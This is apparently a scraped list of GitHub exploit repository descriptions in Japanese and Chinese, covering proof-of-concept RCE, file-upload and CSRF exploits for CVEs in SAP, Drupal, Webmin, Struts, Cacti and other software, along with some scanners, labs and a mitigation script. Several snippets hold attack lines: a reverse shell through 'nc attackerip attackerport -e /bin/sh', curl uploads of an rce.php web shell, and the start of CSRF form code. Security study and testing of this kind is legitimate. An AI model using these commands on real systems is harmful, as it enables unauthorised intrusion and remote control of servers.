CVE-2025-31324

PoC - CVE-2025-31324 [email protected] SAP NetWeaver Visual Composer の脆弱性 CVE-2025-31324 に対するテスト用エクスプロイトです。エンドポイント /developmentserver/metadatauploader を介して、認証なしでの任意のファイルアップロード を可能にします。 ⚠️ このコードは教育目的および許可されたテスト専用です。本番環境や許可なくシステムに対して使用しないでください。 説明 この脆弱性により、認証されていないリモートの攻撃者が SAP...

CVE-2018-7600

CVE-2018-7600 の POC Drupal RCE CVE-2018-7600 スクリプトに自分のアドレスを入れるのを忘れないでください！ 説明: Drupal 7.x および 8.x の複数のサブシステムにリモートコード実行の脆弱性が存在します。これにより、攻撃者は Drupal サイト上の複数の攻撃ベクトルを悪用できる可能性があり、サイトが完全に侵害される可能性があります。 解決策: Drupal 7 または 8 のコアの最新バージョンにアップグレードしてください。 7.x を使用している場合は、Drupal 7.58...

CVE-2018-15133-PoC

CVE-2018-15133-PoC このPythonスクリプトは、安全でないデシリアライゼーションを利用した脆弱なLaravelアプリケーション向けのリモートコード実行（RCE）エクスプロイトを実装しています。これはCVE-2018-15133の脆弱性に基づいています。...

distccd_rce_CVE-2004-2687

このスクリプトの目的は、Metasploitを使用せずに手動で行うことです。 使用方法: nc -lvnp 4466 エクスプロイトの実行: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC デシリアライゼーション RCE スキャナ このツールは、対象が CVE‑2025‑55182 に対して脆弱かどうかをチェックします。これは、Next.js 内の RSC（React Server Components）モデルペイロードの安全でない処理によって引き起こされるリモートコード実行バグです。 この脆弱性は、プロトタイプ汚染 → デシリアライゼーションの悪用 → サーバーサイドJavaScript実行 の連鎖を利用します。 免責事項:...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 概要 このリポジトリは、TryHackMeのルームで学習した セキュリティの概念 を文書化しています。これは CVE-2025-55182 に関するもので、影響を受ける重要な脆弱性です： React Server Components RSC Next.js および RSC ベースのフレームワーク パッケージ: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack この脆弱性により以下が可能になります：...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

CVE-2024-23743

CVE-2024-23743 CVE-2024-23743 Notion for MacOS v.3.1.0 の問題により、リモートの攻撃者が RunAsNode および enableNodeClilnspectArguments コンポーネントを介して任意のコードを実行できる可能性があります。 electron の脆弱性を検索するプロセスを自動化するツールがあります: https://github.com/r3ggi/electroniz3r このツールを使用すると、アプリが脆弱かどうかを確認できます。 検証後、コードを注入してシェルを取得できます。 そして、シェルをお楽しみください。...

CVE-2021-45010

CVE-2021-45010 Exploit Title: Tiny File Manager 2.4.6 认证 远程代码执行 Date: 04 Mar 2023 Exploit Author: Syd Software Link: https://github.com/prasathmani/tinyfilemanager Version: Tiny File Manager = 2.4.3 Tested on: Parrot OS 20.04 CVE : CVE-2021-45010 Reference:...

CVE-2024-32002-git-rce

このリポジトリには README がありません。...

CVE-2019-15107

CVE-2019-15107 webmin または minisever の RCE スクリプトの使用方法: v1.890 でテスト済みですが、このバックドアがインストールされている他の webmin バージョンでも動作するはずです。 python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 版本 2.3.x（低于 2.3.32）和 2.5.x（低于 2.5.10.1）的 Jakarta Multipart 解析器存在一个缺陷。该缺陷导致在尝试上传文件时异常处理不当并生成错误消息。因此，攻击者可以通过利用精心构造的 HTTP 头部（如 Content-Type、Content-Disposition 或 Content-Length）远程执行任意命令。 执行 python exploit.py -r -c 参考 NIST NVD MITRE Corporation...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 構成 CVE-2018-11235-Git PoC と docker ngrok によるトンネリング Dockerfile をビルド $ docker build -t cve-2018-11235 . ngrok 用のカスタムネットワークを作成 $ docker network create myngroknet Git HTTP サーバーを起動 $ docker run -d -p 8080:80 --net myngroknet --name cve-2018-11235...

CVE-2022-46169

CVE-2022-46169 – 说明与项目概述 Cacti 未授权远程代码执行 这是什么项目？ 本项目是一项网络安全任务，演示了 CVE‑2022‑46169 ：开源网络监控平台 Cacti （版本 ≤ 1.2.22）中的一个严重漏洞。该漏洞允许未认证的攻击者在服务器上执行任意操作系统命令——无需任何登录。 本项目的目标是理解该漏洞，在受控的实验室环境中复现它，并展示其影响。 什么是 CVE‑2022‑46169？ CVE‑2022‑46169 是 Cacti 中两个缺陷的组合： 1. 授权绕过 文件 remoteagent.php 通常只允许 Cacti...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 用于缓解 CVE-2023-36884 漏洞的临时解决方案。 此漏洞影响 Windows 操作系统，可能允许远程执行恶意代码。 CVE-2023-36884 » CVE-2023-36884 CVE-2023-36884 漏洞是一个严重的安全缺陷，可能导致 Windows 系统上的远程代码执行。微软尚未发布更新来修复此问题。然而，他们指导创建一些注册表项来规避该问题，直到提供最终解决方案为止。 解决方案 - Fix-CVE-2023-36884.ps1 我们，来自...

Nuclei-Template-CVE-2024-50379

Nuclei-Template-CVE-2024-50379 説明 このNucleiテンプレートは、リモートコード実行（RCE）を可能にするTOCTOUレースコンディションに対して脆弱なApache Tomcatサーバーを検出します。 ⚠ 重要なお知らせ : このテンプレートは、教育目的およびシステム所有者の明示的な同意を得た管理された環境でのみ使用する必要があります。 さらに、このテンプレートはテスト段階にあるため、脆弱なApacheのすべてのバージョンで100%テストしたわけではありません。 必要条件 Nucleiがインストールされていること（Linux、Mac、Windows）。...

CVE-2017-9841-EXPLOIT

CVE-2017-9841 - PHPUnit リモートコード実行RCE この脆弱性は、PHPUnit 4.8.28 より前のバージョンおよび 5.6.3 より前のすべての 5.x バージョンに影響します。これにより、攻撃者は PHPUnit が公開されているサーバー上で任意の PHP コードを実行できます。問題は、PHPUnit の Util/PHP ディレクトリにある eval-stdin.php ファイルに存在します。このファイルにアクセス可能な場合（通常は /vendor フォルダが公開されている場合）、攻撃者は ?php で始まる PHP コードを含む悪意のある HTTP PO...

CVE-2026-3844-Lab

CVE-2026-3844 — Breeze Cache 認証なし任意ファイルアップロードによるRCEラボ WordPressのBreeze CacheプラグインにおけるCVE-2026-3844の動作を再現・比較するためのローカル限定Dockerラボです。 このリポジトリは、Breeze Cache 2.4.4 の脆弱な動作を示し、Breeze Cache 2.4.5 のパッチ適用後の動作と比較します。ラボは2つの隔離されたWordPressサービス（脆弱なものとパッチ適用済みのもの）と、Dockerネットワーク内のローカルペイロードサーバーを使用します。 概念実証は意図的に最小限の害...

exploit-cve-2018-7448

exploit-cve-2018-7448 目的 これは、CMS Made Simple 2.1.6 - リモートコード実行 - CVE-2018-7448 を自動化するPythonスクリプトです。 これは https://www.exploit-db.com/exploits/44192 に基づいて作成されました。 使用方法 python3 exploit-CVE-2018-7448.py -t 127.0.0.1/cmsms -d cms -u root -p password トラブルシューティング インストーラーが cmsms-2.1.6-install.php...

CVE-2025-12189

Bread & Butter: コンテンツゲート + リード獲得 + ファーストパーティデータ収集 + AIエージェントによる育成 CSRF Attack function exploit const form = document.createElement'form'; form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php'; form.method = 'POST'; form.enctype = 'multipart/form-data'; form.target = 'blank';...